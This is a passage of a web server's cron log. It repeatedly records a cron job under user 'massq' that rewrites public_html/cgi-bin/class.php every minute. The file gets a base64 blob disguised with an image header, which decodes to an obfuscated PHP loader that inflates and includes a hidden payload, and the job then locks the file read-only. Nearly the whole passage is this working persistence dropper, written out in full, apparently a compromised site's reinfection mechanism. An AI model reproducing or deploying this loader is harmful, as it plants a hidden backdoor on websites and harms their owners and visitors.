FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:55:01 server CROND[5673]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:55:01 server CROND[5674]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:55:01 server CROND[5675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:56:01 server CROND[5784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:57:01 server CROND[5843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:57:01 server CROND[5844]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 17:58:01 server CROND[5900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:59:01 server CROND[6015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:00:01 server CROND[6128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 18:00:01 server CROND[6129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:00:01 server CROND[6134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:00:01 server CROND[6136]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 18:00:01 server CROND[6137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:01:01 server CROND[6272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:01:01 server CROND[6273]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 18:01:01 server run-parts(/etc/cron.hourly)[6273]: starting 0anacron
Apr  7 18:01:01 server run-parts(/etc/cron.hourly)[6285]: finished 0anacron
Apr  7 18:02:01 server CROND[6346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:03:01 server CROND[6397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:04:01 server CROND[6467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:05:01 server CROND[6639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:05:01 server CROND[6641]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 18:05:01 server CROND[6642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:05:01 server CROND[6643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:06:01 server CROND[6773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:07:01 server CROND[6841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:08:01 server CROND[6921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRk